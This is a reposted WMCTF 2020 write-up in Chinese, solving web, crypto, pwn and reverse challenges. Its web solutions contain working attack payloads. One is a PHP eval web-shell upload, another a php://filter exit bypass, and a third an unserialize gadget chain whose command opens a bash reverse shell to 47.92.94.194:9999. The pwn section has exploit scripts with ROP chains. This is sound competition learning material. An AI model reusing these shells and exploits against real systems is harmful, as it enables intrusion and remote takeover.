Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:13722 篇
已收录公众号数量:89 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
WMCTF-WriteUp
本文来自公众号:ChaMd5安全团队   2020.08.06 08:00:37


Web

web_checkin

解题思路

http://web_checkin.wmctf.wetolink.com/?content=/flag


Make PHP Great Again

解题思路

POST /?file=/tmp/sess_m0on HTTP/1.1
Host: no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
cookie: PHPSESSID=m0on
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=---------------------------80447652219106375571633636037
Content-Length: 597

-----------------------------80447652219106375571633636037
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php file_put_contents("/tmp/m0on",'<?php eval($_GET["cmd"]);?>');?>
-----------------------------80447652219106375571633636037
Content-Disposition: form-data; name="file"; filename="1"
Content-Type: application/octet-stream

dasd
-----------------------------80447652219106375571633636037
Content-Disposition: form-data; name="file1"; filename="1234"
Content-Type: application/octet-stream

dasd
-----------------------------80447652219106375571633636037

upload_progress 写shell ,然后 爆破个1000次左右就可以写下来了

GET / HTTP/1.1

$flag = 'WMCTF{php_s0urc3_1s_om0sh1201}';





web_checkin2

解题思路

zlib.deflate 先将<?php exit(); 压缩,转换成小写在解压可以绕过exit,发现后面的大写可以保持不变,在<?=前面发现2222是4的倍数就是这样,然后防止500加个EXIT()


<?php
unlink('1aa');
$c="%B3%B1%0F%F0%08PH-K%CC%D1P%89ww%0D%89VJ%CEMQ%8A%D5%B4%B6%B7%03";
echo urldecode($c)."\n";
unlink('aaa');
$content='php://filter/write=resource=2222<?=EVAL(END(GETALLHEADERS()));EXIT();?>11'.urldecode($c)."/../1aa";

echo urlencode($content)."\n\n\n\n\n";
file_put_contents($content,'<?php exit();'.$content);


GET /index.php?content=php%3A%2F%2Ffilter%2Fwrite%3Dzlib.deflate%7Cstring.tolower%7Czlib.inflate%2Fresource%3D2222%3C%3F%3DEVAL%28END%28GETALLHEADERS%28%29%29%29%3BEXIT%28%29%3B%3F%3E11%B3%B1%0F%F0%08PH-K%CC%D1P%89ww%0D%89VJ%CEMQ%8A%D5%B4%B6%B7%03%2F..%2F1aa HTTP/1.1
Host: web_checkin2.wmctf.wetolink.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


GET /index.php?content=1aa HTTP/1.1
Host: web_checkin2.wmctf.wetolink.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
xxx:echo `cat /fffffllllllllaaaaaggggggg_as89c79as8`;

web web

解题思路



<?php
namespace DB\SQL {
    class Mapper {
        protected $props;
        function __construct($props)
        
{
            $this->props = $props;
        }
    }
}

namespace CLI {

    class Agent{
        protected $server;
        protected $socket;
        function __construct($server)
        
{
            $this->server = $server;
            $this->socket='echo "/bin/bash -i  > /dev/tcp/47.92.94.194/9999  0>&1 2>&1"> /tmp/m0on;bash /tmp/m0on;';
        }

    }

    class WS{
        protected $events = [];
        function __construct($events)
        
{
            $this->events = $events;
        }
    }
}

namespace {

    use CLI\Agent;
    use CLI\WS;

    class Basket{
        public $events = [];
        function __construct($events)
        
{
            $this->events = $events;
        }
    }

    $a0 = new \DB\SQL\Mapper(array("read"=>"system"));
    $a=new Agent($a0);

    $b = new Basket(array("disconnect"=>array($a,'fetch')));
    $c = new Agent($b);
    $d = new WS($c);
    echo urlencode(serialize($d))."\n";
}
?>




Misc

Xman happy birthday

解题思路

hex的反转一下解压即可

def re(s):
    return s[::-1]
bs=[]

with open("daolnwod.zip","rb"as f:
    while True:
        h=f.read(1)
        if not h:
            break
        bs.append(re("%02x" % (ord(h))))
    s = ' '.join(bs)

s = s.replace(" ",'')
print(s[::-1])


Music_game

解题思路

找个在线网页英文转音频。之后控制坦克走过去就可以。




Crypto

piece_of_cake

解题思路

emmmm非预期了一波,直接用的先知(https://xz.aliyun.com/t/7163)上的脚本


# sage

def GaussLatticeReduction(v1, v2):
    while True:
        if v2.norm() < v1.norm():
            v1, v2 = v2, v1
        m = round( v1*v2 / v1.norm()^2 )
        if m == 0:
            return (v1, v2)
        v2 = v2 - m*v1

h = 
p = 
c = 

# Construct lattice.
v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([v1,v2]);

# Solve SVP.
v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([v1,v2]);
shortest_vector = m.LLL()[0]
# shortest_vector = GaussLatticeReduction(v1, v2)[0]
f, g = shortest_vector
print(f, g)

# Decrypt.
a = f*c % p % g
m = a * inverse_mod(f, g) % g
print(hex(m).decode('hex'))

远程连过去直接eatcake,然后拿到数据用这个解,这里得到的m是cake%g,由于出题人给的cake的位数和g很接近,所以我们直接发m+g过去,碰运气233333(错了就再试)


Sum

解题思路

180维的背包取了160个值,反一下就是180维的背包只取了20个值的轻背包

参考博客https://blog.soreatu.com/posts/crypto-research-subset-sum-problem/

稍微改改里头的源代码就可以跑了:


import re
import random
import logging
import multiprocessing as mp

from functools import partial

logging.basicConfig(level=logging.DEBUG)

LEVEL = [
    # n    k    s
    (180,  20,  572350907760414126864671959287170475106011214368771955799438520634756)
]

ZERO_FORCE = {
    # n   r
    18040,
}


def check(sol, A, s):
    """Check whether *sol* is a solution to the subset-sum problem.
    """

    return sum(x*a for x, a in zip(sol, A)) == s


small_vec = None
def solve(A, n, k, s, r, ID=None, BS=22):
    N = ceil(sqrt(n)) # parameter used in the construction of lattice
    rand = random.Random(x=ID) # seed


    indexes = set(range(n))
    global small_vec


    itr = 0
    total_time = 0.0
    while True:
        # 1. initalization
        t0 = cputime()
        itr += 1
        # print(f"[{ID}] n={n} Start... {itr}")


        # 2. Zero Force
        kick_out = set(sample(range(n), r))
        # (k+1) * (k+2)
        # 1 0 ... 0 a0*N   N
        # 0 1 ... 0 a1*N   N
        # . . ... . ...    .
        # 0 0 ... 1 a_k*N N
        # 0 0 ... 0 s*N    k*N
        new_set = [A[i] for i in indexes - kick_out]
        lat = []
        for i,a in enumerate(new_set):
            lat.append([1*(j==i) for j in range(n-r)] + [N*a] + [N])
        lat.append([0]*(n-r) + [N*s] + [k*N])


        # 3. Randomly shuffle
        shuffle(lat, random=rand.random)

        # 4. BKZ!!!
        m = matrix(ZZ, lat)
        t_BKZ = cputime()
        m_BKZ = m.BKZ(block_size=BS)
        print(f"[{ID}] n={n} {itr} runs. BKZ running time: {cputime(t_BKZ):.3f}s")


        # 5. Check the result
        # print(f"[{ID}] n={n} first vector norm: {m_BKZ[0].norm().n(digits=4)}")
        for i, row in enumerate(m_BKZ):
            if check(row, new_set, s) and row.norm()^2 < 300:
                if small_vec == None:
                    small_vec = row
                elif small_vec.norm() > row.norm():
                    small_vec = row
                    print(f"[{ID}] n={n} Good", i, row.norm()^2, row, kick_out)
                    if row.norm()^2 == k:
                        print(f"[{ID}] n={n} After {itr} runs. FIND SVP!!!\n"
                              f"[{ID}] n={n} Single core time used: {total_time}s")
                        return True


        # 6. log average time per iteration
        itr_time = cputime(t0)
        total_time += itr_time
        # average_time = float(total_time / itr)
        # print(f"[{ID}] n={n} average time per itr: {average_time:.3f}s")


def main():
    CPU_CORE_NUM = 128

    for n, k, s in LEVEL[:]:
        r = ZERO_FORCE[n]
        A = #key列表
        solve_n = partial(solve, A, n, k, s, r)
        with mp.Pool(CPU_CORE_NUM) as pool:
            reslist = pool.imap_unordered(solve_n, range(CPU_CORE_NUM))

            # terminate all processes once one process returns
            for res in reslist:
                if res:
                    pool.terminate()
                    break

if __name__ == "__main__":
    main()




babySum

解题思路

同SUM,维度变低了,跑的快了不止一点。而且这里不用取反,直接是个轻背包。



Game

解题思路

import os
import re
from itertools import product
from hashlib import sha256
# os.environ['term'] = "screen" 
from pwn import *
# context.log_level = "DEBUG"
# 端口需要更改,这里是本地的端口
add = "81.68.174.63"
port = 16442
# 登陆接口,爆破sha256
def login(io):
    rec = io.recvline().decode()
    s = string.ascii_letters + string.digits
    suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0]
    digest = re.findall(r'== (.*?)\n', rec)[0]
    print("login.....")
    print(f"suffix: {suffix} \ndigest: {digest}")
    print('Calculating hash...')
    for i in product(s, repeat=4):
        prefix = ''.join(i)
        guess = prefix + suffix
        if sha256(guess.encode()).hexdigest() == digest:
            print("done")
            break
    io.sendafter(b'Give me XXXX:', prefix.encode())
    return
def b2s(b):
    s = ''
    for i in b:
        s += chr(i)
    return s


def s2b(s):
    res = b''
    for i in s:
        res += bytes([ord(i)])
    return res


def encrypt(sh,message):
    sh.recvuntil(b'> ')
    sh.sendline('1')
    sh.recvuntil(b'Your message (in hex): ')
    sh.sendline(s2b(message))
    cipher = b2s(sh.recvline()).strip('\n')
    return cipher

def guess(sh,message):
    sh.recvuntil(b'> ')
    sh.sendline('2')
    sh.recvuntil(b'Your guess (in hex): ')
    sh.sendline(message)
    cipher = b2s(sh.recvline()).strip('\n')
    return cipher




def brute(sh):
    for i in range(13):
        sh.recvline()
    login(sh)
    IV = b2s(sh.recvline())[-len('fd0ebdb38ac566551d3179a2a0d5ca26')-1:-1]
    H = b'badmonkey2333333'
    iv = IV
    # 第一块
    print("starting...")
    secert = []
    for i in range(15,0,-1):
        print(i)
        message = iv+H[:i].hex()
#         for f in secert:
#             message +=  bytes([f]).hex().zfill(2)
#         print(message)
        # correct
        c = encrypt(sh,message)
        c1 = c[:32]
        c2 = c[32:64]
        iv = c[-32:]
        print("guessing...")
        for j in range(256):
            m = iv+H[:i].hex()
            for f in secert:
                m += bytes([f]).hex().zfill(2)
#             print(m)
            m+=bytes([j]).hex().zfill(2)
#             print(m)
            c = encrypt(sh,m)
            c3 = c[32:64]
            iv = c[-32:]
            if c3 == c2:
                secert.append(j)
                print("find !!!",bytes([j]))
                break
    block1 = bytearray(secert)
    message = iv
    c = encrypt(sh,message)
    c2 = c[32:64]
    iv = c[-32:]
    for j in range(256):
        m = iv+block1.hex()+bytes([j]).hex().zfill(2)
        c = encrypt(sh,m)
        _c = c[32:64]
        iv = c[-32:]
        if _c == c2:
            secert.append(j)
            print("find !!!",bytes([j]))
            break
    block1 = bytearray(secert)
    print(block1)

    secert2 = []
    for i in range(15,0,-1):
        print(i)
        message = iv+H[:i].hex()
        c = encrypt(sh,message)
        c1 = c[:32]
        c2 = c[32:64]
        c3 = c[64:96]
        iv = c[-32:]
        print("guessing...")
        for j in range(256):
            m = iv
            t = block1[16-i:].hex()
            for f in secert2:
                t += bytes([f]).hex().zfill(2)

            t+=bytes([j]).hex().zfill(2)
            t = xor(bytes.fromhex(c2),bytes.fromhex(t),bytes.fromhex(c1)).hex()
            m += t
#             print(m)
            c = encrypt(sh,m)
            _c =  c[32:64]
            iv = c[-32:]
            if _c == c3:
                secert2.append(j)
                secert.append(j)
                print("find !!!",bytes([j]))
                break
    block2 = bytearray(secert2)
    message = iv

    c = encrypt(sh,message)
    c1 = c[:32]
    c2 = c[32:64]
    c3 = c[64:96]
    iv = c[-32:]
    for j in range(256):
        m = iv
        t = block2+bytes([j])
        t = t.hex()
        t = xor(bytes.fromhex(t),bytes.fromhex(c1),bytes.fromhex(c2))
        m += t.hex()
        c = encrypt(sh,m)
        _c = c[32:64]
        iv = c[-32:]
        if _c == c3:
            secert2.append(j)
            secert.append(j)
            print("find !!!",bytes([j]))
            break
    block2 = bytearray(secert2)
    print(block2)


    secert3 = []
    for i in range(15,0,-1):
        print(i)
        message = iv+H[:i].hex()
        c = encrypt(sh,message)
        c1 = c[:32]
        c2 = c[64:96]
        c3 = c[96:128]
        iv = c[-32:]
        print("guessing...")
        for j in range(256):
            m = iv
            t = block2[16-i:].hex()
            for f in secert3:
                t += bytes([f]).hex().zfill(2)

            t+=bytes([j]).hex().zfill(2)

            t = xor(bytes.fromhex(c2),bytes.fromhex(t),bytes.fromhex(c1)).hex()
            m += t
#             print(m)
            c = encrypt(sh,m)
            _c =  c[32:64]
            iv = c[-32:]
            if _c == c3:
                secert3.append(j)
                secert.append(j)
                print("find !!!",bytes([j]))
                break



    block3 = bytearray(secert3)
    message = iv
    c = encrypt(sh,message)
    c0 = c[:32]
    c2 = c[64:96]
    c3 = c[96:128]
    iv = c[-32:]
    for j in range(256):
        m = iv
        t = block3+bytes([j])
        t = t.hex()
        t = xor(bytes.fromhex(t),bytes.fromhex(c0),bytes.fromhex(c2))
        m += t.hex()
        c = encrypt(sh,m)
        _c = c[32:64]
        iv = c[-32:]
        if _c == c3:
            secert.append(j)
            secert3.append(j)
            print("find !!!",bytes([j]))
            break
    block3 = bytearray(secert3)

    res = bytearray(secert)
    return res



sh = remote(add,port)
s = brute(sh)

print("______________________________")
print(s)
context.log_level = "DEBUG"
flag = guess(sh,s.hex())
print(flag)

sh.close()



Pwn

cfgo-checkin

解题思路

#coding:utf-8
from pwn import *
import numpy as np
context.log_level = 'info'
r = 6


def get_map(aa):
    global r


    end_x = 0
    end_y = 0
    start_x = 0
    start_y = 0


    s = p.recvuntil('\x0a', drop=True)


    r = len(s)//3
    status = np.zeros((r, r, 2), dtype=np.uint8)  

    for i in range(1, r):
        s = p.recvuntil('\x0a', drop=True)
        t = 0
        for k in range(r):
            if s[t] == '\xe2':
                t += 3
                if s[t-1] == '\x9c':
                    status[i, k, 0] = 1
                    continue
                elif s[t-1] != '\x9b':
                    exit(0)


            elif s[t] == '\xf0':
                status[i, k, 0] = 1
                t += 4
                if s[t-1] == '\xa9' and s[t-2] == '\x9a':
                    end_x = i
                    end_y = k
                else:
                    start_x = i
                    start_y = k
            else:
                print("error, s: "+hex(ord(s[t])))
                print("i: %d, k: %d" % (i, k))
                exit(0)


    return status, start_x, start_y, end_x, end_y


def generate_route(status, start_x, start_y, end_x, end_y):
    global r


    x = start_x
    y = start_y
    route = [[x,y]]
    d = []


    while x != end_x or y != end_y:
        status[x, y, 1] = 1
        if x != 0:
            if status[x-1, y, 0] == 1 and status[x-1, y, 1] == 0:
                route.append([x-1, y])
                d.append('w')
                x = x-1
                continue
        if x < r-1:
            if status[x+1, y, 0] == 1 and status[x+1, y, 1] == 0:
                route.append([x+1, y])
                d.append('s')
                x = x+1
                continue
        if y != 0:
            if status[x, y-10] == 1 and status[x, y-11] == 0:
                route.append([x, y-1])
                d.append('a')
                y = y-1
                continue
        if y < r-1:
            if status[x, y+10] == 1 and status[x, y+11] == 0:
                route.append([x, y+1])
                d.append('d')
                y = y+1
                continue


        route.pop()
        d.pop()
        x, y = route.pop()
        route.append([x, y])


    return d


def send_route(d):
    for i in d:
        p.send(i)
    p.sendline()


p = remote('81.68.174.63',62176)
#p = process('./pwn')


for i in range(100):
    print('-------'+str(i))
    p.recvuntil('\x0a')
    status, start_x, start_y, end_x, end_y = get_map(i)
    d = generate_route(status, start_x, start_y, end_x, end_y)
    send_route(d)
    sleep(0.25)
p.sendlineafter("Leave your name:\n"'a'*112+p64(0xc000000290)+p64(0x40)*19+'\xce')
p.recv(0x17)
pie = u64(p.recv(6)+'\x00'*2)-836104
free_got = pie+0x0000000001eeed8
print hex(pie)
p.sendlineafter("Leave your name:\n"'a'*112+p64(free_got)+p64(0x40)*19+'\xce')
p.recv(0xf)
libc_base = u64(p.recv(6)+'\x00'*2)-0x00000000009d850
print hex(libc_base)
p.sendlineafter("Leave your name:\n"'a'*112+p64(0xc000000290)+p64(0x40)*19+p64(pie+0x0000000000072016)+p64(pie+0x0000000000109d3d)+p64(libc_base+0x1b75aa)+p64(libc_base+0x055410))


p.interactive()


mengyedekending

解题思路

这个题的漏洞并不是在exe的程序中,反而是在同名的dll程序中,该dll为.net编写的,所以直接使用 dnSpy进行调试和反编译。漏洞是通过off-by-one去修改index的值,然后让index指向ptr2[2]的指针,部分修改为指向num的指针,然后后面会修改ptr2[2]的指针指向的值,最后会满足条件执行后门函数。这个题不能直接栈溢出去修改num函数,如果去栈溢出去修改会导致程序进入死循环。还有需要注意的一点就是在这里char类型是两个字节,也就是采用的unicode编码,最后单字节覆盖的时候实际上是覆盖的一个unicode的单字节,不然无法正确修改ptr2[2]的指针。

from pwn import *
p=remote("111.73.46.229",51000)
context.log_level="debug"
p.recvuntil("This is a gift for you : ")
leak=int(p.recv(6),16)
print hex(leak)
a=unichr(leak&0xffff)
print a
payload="1"*51+'\x35'
p.sendafter("What do you want me to repeat?",payload)
p.send(a.encode("utf-8"))
p.sendlineafter("Do you want to change your input?",'1')
p.sendafter("Please tell me a offset!",'\x01')
p.interactive()



Reverse

Wmware

解题思路

此题主要模拟了mbr及系统的启动过程,涉及从实模式到保护模式的转换。新建个wmware虚拟机,将disk文件的内容复制到虚拟磁盘上,ida的"Remote GDB debugger" attach上就可以愉快的调试了,不过到了保护模式下就不行了,而且此时代码已经是32bits了。

实模式的mbr部分是磁盘的开始的512字节数据加载到内存0x7c00处的,attach上后直接下断0x7c00就能断下来。这部分代码的作用就是将磁盘上的三断数据加载到内存。

开始扇区      扇区数    目标内存地址
2            4        900h
6            4        6000h
a            1        5700h

0x900处代码分为两部分,一部分是实模式下的,接收键盘输入,显示输入,得到键值,大写字母键值为小写加上0x30,然后跳转到保护模式。这部分保护模式下的代码将输入键值加上0x55(6*6=36次循环),再跳转到0x6000。伪代码如下(还不如看汇编):

  for ( i = 0; i != 6; ++i )
  {
    for ( j = 0; j != 6; j = (v8 >> 1) + 1 )
    {
      v3 = 4 * i;
      v4 = 2 * i;
      v5 = v4 + v3;
      i = v4 >> 1;
      v6 = *MK_FP(32, v5 + j);
      if ( i )
      {
        if ( !i )
          a1 += 2;
      }
      v7 = 4 * j;
      v8 = 2 * j;
      *MK_FP(40, v8 + v7 + i) = v6 + 0x55;
    }
  }
  JUMPOUT(0x6080u);

地址0x6000处的代码主要是128轮的异或,结果与0x5700处的常量比较。具体看反解代码。


import struct
def main():
  t = [0x00, 0x00, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5F, 0x2B, 0x0E, 0x00, 0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x1C, 0x00, 0x61, 0x73, 0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0x78, 0x63, 0x76, 0x62, 0x6E, 0x6D]
  check = 'D87455ECB5041A42116DBA025F050581286CA0ED9904E06AE755A9189135D67164A83745'.decode('hex')
  checks = list(struct.unpack('9I',check))

  for i in range(0x80,-1,-1):
    for j in range(8,-1,-1):
      if i % 3 == 0:
        x = 0x24114514
      elif i % 3 == 1:
        x = 0x1919810
      else:
        x = 0x19260817
      checks[j] = checks[j] ^ checks[(j+1)%9] ^ x
  checks = map(lambda x:ord(x)-0x55,struct.pack('9I',*checks))
  tmp = ''
  for i in checks:
    if i > 0x32:
      tmp += chr(t[i-0x30]).upper()
    else:
      tmp += chr(t[i])
  flag = ''
  for i in range(6):
    for j in range(6):
      flag += tmp[6*j+i]
  print flag  


if __name__ == '__main__':
  main()


Welcome to CTF

解题思路

此题涉及到了 SetThreadContext更改eip,NtSetInformationThread反调试及TF标志位及EXCEPTION_SINGLE_STEP异常的处理。

在sub_401000函数中初始化了MIRACL大数库。在sub_40101函数中通过RtlAddVectoredExceptionHandler和SetUnhandledExceptionFilter函数分别注册了sub_4011A0和sub_40121C。其伪代码如下:

signed int __stdcall exception_handler_4011A0(_EXCEPTION_POINTERS *a1)
{
  signed int v1; // edx
  PCONTEXT v2; // ecx
  _DWORD *v3; // eax
  unsigned int v4; // edi
  PCONTEXT v5; // ecx


  v1 = 0;
  if ( a1->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP )
  {
    v2 = a1->ContextRecord;
    v3 = (_DWORD *)(dword_438C7C + 4);
    v4 = 0;
    while ( *v3 != v2->Eip )
    {
      ++v4;
      ++v3;
      if ( v4 >= 4 )
      {
        if ( byte_438C70 )
        {
          v2->Dr7 = *(_DWORD *)(dword_438C7C + 20);
          byte_438C70 = 0;
        }
        return v1;
      }
    }
    if ( !byte_438C70 )
    {
      v2->EFlags |= 0x100u;
      v5 = a1->ContextRecord;
      byte_438C70 = 1;
      v5->Dr7 = 0;
      v1 = -1;
    }
  }
  return v1;
}

nt __stdcall exception_filter_40121C(int **a1)
{
  int v1; // esi


  v1 = **a1;
  if ( v1 == EXCEPTION_SINGLE_STEP )
    sub_402980((_EXCEPTION_POINTERS *)a1);
  return (v1 != EXCEPTION_SINGLE_STEP) - 1;
}

int __thiscall sub_402980(_EXCEPTION_POINTERS *this)
{
  PCONTEXT v1; // edx
  char *v2; // esi
  _BYTE *v3; // edx
  signed int v4; // esi
  char v5; // cl
  DWORD v6; // eax


  v1 = this->ContextRecord;
  v2 = (char *)v1->Eip;
  if ( v2 == (char *)off_432F90 + 0x59C22F14 )  // 0x4027c8
  {
    v1->Eip = (DWORD)off_432F88 + 0x59C22F13;   // 402883
    this->ContextRecord->Esp += 4;
  }
  else if ( v2 == (char *)off_432F98 + 0x72A557F4 )// 40207c
  {
    sub_403F80(*(_DWORD *)((char *)off_432F8C + 0x72A557F3), (int *)v1->Eax, v1->Eax);// 438c88
  }
  else if ( v2 == (char *)off_432F9C + 0x6297C129 )// 402086
  {
    v3 = (_BYTE *)(v1->Eax + 48);
    v4 = 5;
    do
    {
      v5 = *(v3 - 1);
      *(v3 - 1) = *v3;
      *v3 = v5;
      v3 += 2;
      --v4;
    }
    while ( v4 );
  }
  else if ( v2 == (char *)off_432F94 + 0x7252D09A && !byte_438C91 )// 4025d9
  {
    v6 = v1->Esp;
    byte_438C91 = 1;
    *(_DWORD *)(v6 + 20) = 4;
  }
  return 0;
}


sub_402980的作为是执行校验函数sub_4027C7时跳转到sub_402883,修改真实校验中用到的base64表,将大数0x2b减1。

真实校验函数流程是将输入(去格式后的部分)进行rsa加密(解密?)得到15字节数据分成两部分为x,y,再进行-x^3 + y^3 + 80435758145817515 ^3 == 42等式校验。验证成功截图及反解如下:


import string,base64,gmpy2


def gen_table():
#  l = [ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
#        0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
#        0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x09, 0xFF, 0xFF, 0xFF, 0x3F,
#        0x36, 0x2E, 0x08, 0x04, 0x0C, 0x0A, 0x1B, 0x27, 0x00, 0x2F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
#        0xFF, 0x1D, 0x35, 0x29, 0x0B, 0x11, 0x3B, 0x05, 0x31, 0x15, 0x07, 0x10, 0x23, 0x28, 0x02, 0x26,
#        0x18, 0x37, 0x1E, 0x3C, 0x1A, 0x32, 0x22, 0x06, 0x1F, 0x2D, 0x34, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
#        0xFF, 0x19, 0x17, 0x30, 0x3A, 0x13, 0x2C, 0x0F, 0x3E, 0x33, 0x38, 0x0D, 0x1C, 0x01, 0x12, 0x14,
#        0x16, 0x3D, 0x0E, 0x20, 0x2B, 0x39, 0x25, 0x03, 0x2A, 0x21, 0x24, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF]
  l = [ 0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF,
        0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF,
        0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0xFF0x090xFF0xFF0xFF0x36,
        0x3F0x080x2E0x0C0x040x1B0x0A0x000x270x2F0xFF0xFF0xFF0xFF0xFF0xFF,
        0xFF0x1D0x350x290x0B0x110x3B0x050x310x150x070x100x230x280x020x26,
        0x180x370x1E0x3C0x1A0x320x220x060x1F0x2D0x340xFF0xFF0xFF0xFF0xFF,
        0xFF0x190x170x300x3A0x130x2C0x0F0x3E0x330x380x0D0x1C0x010x120x14,
        0x160x3D0x0E0x200x2B0x390x250x030x2A0x210x240xFF0xFF0xFF0xFF0xFF]
  d = {}
  for i,v in enumerate(l):
    if v != 0xff:
      d[v] = chr(i)
  k = d.keys()
  k.sort()
  res = ''
  for i in k:
    res += d[i]
  print res
  return res

def debase(s):
  t1 = '7mNw4GWJ1+6D3krgKEneoIpbPaT5lARXsyVLzvO8MCxtfY29cHUiZB/QjudFSqh0'
  t2 = string.uppercase+string.lowercase+string.digits+'+/'
  t = string.maketrans(t1,t2)
  s = string.translate(s,t)
  return base64.b64decode(s)  


def enbase(s):
  t1 = '7mNw4GWJ1+6D3krgKEneoIpbPaT5lARXsyVLzvO8MCxtfY29cHUiZB/QjudFSqh0'
  t2 = string.uppercase+string.lowercase+string.digits+'+/'
  t = string.maketrans(t2,t1)
  s = base64.b64encode(s)
  s = string.translate(s,t)
  return s

def main():
#  gen_table()
  p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
  q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
  n = p*q
  e = 0x10001
  d = gmpy2.invert(e,(p-1)*(q-1))
  #(-80538738812075974)³+80435758145817515³+12602123297335631³=42
  m = 0x11e218e658d3fc62cc5907a8da94f
  c = gmpy2.powmod(m,d,n)
#  print hex(c)  
  print 'WMCTF{'+enbase(hex(c)[2:].decode('hex'))+'}'


if __name__ == '__main__':
  main()


Meet_In_July

解题思路

看程序代码就知道是readyu出的,用了 MIRACL大数库。题目流程大概就是:

  1. 检查输入长度,除去格式(flag{}),至少要64字节

  2. 检查格式,外面的套子自然是flag{},中间的部分为大写hex字符

  3. 进入检验计算,结果与常量比较

校验计算过程实际上就是一个高阶同余方程的结果校验,式子如下:

(((a**2 - 2) * a - a * 1)*(((a**2 - 2) * a - a * 1)*a-(a**2-2))-a)%n == b
其中a为输入,n,b是计算出来的确定值
n=0x1000000000000000000000000000000e98c3c3c3c3c3c3c3c3c3c3c3c3c3c6b15
b=0x234704797D8535D5BDEFCFC753B935B1676A8DC2D7D63759DE1A6144862F8445


直接factordb上查到n可分解为:


320265757102059730318470218759311257989
361550014853497117429835520396253724753

上wolfram计算


solve (x^7-7*x^5+14*x^3-7*x - 15956426724371358762446154331862284300421200863619433817153609426765022725189)mod 320265757102059730318470218759311257989 = 0
solve (x^7-7*x^5+14*x^3-7*x-15956426724371358762446154331862284300421200863619433817153609426765022725189mod 361550014853497117429835520396253724753 = 0

得到
x = 320265757102059730318470218759311257989 n + 314046182507365208896881670173330660473 and n element Z
x = 361550014853497117429835520396253724753n + 10723067319997533594300359658518990548 and n element Z

取n=1时的两个值:63431193960942493921535188893264191846272273082173494651024135880054772715301

 crt(634311939609424939215351888932641918462,372273082173494651024135880054772715301,320265757102059730318470218759311257989,361550014853497117429835520396253724753)
得到结果
17608204545242378720348793798058123425575979093234353645947732994798163637792

hex(17608204545242378720348793798058123425575979093234353645947732994798163637792)[2:].upper()
得到
26EDE3FE048B6BFA04F647259A3F00505FD9C9CCB87298CD631FD91F17CCB620



end


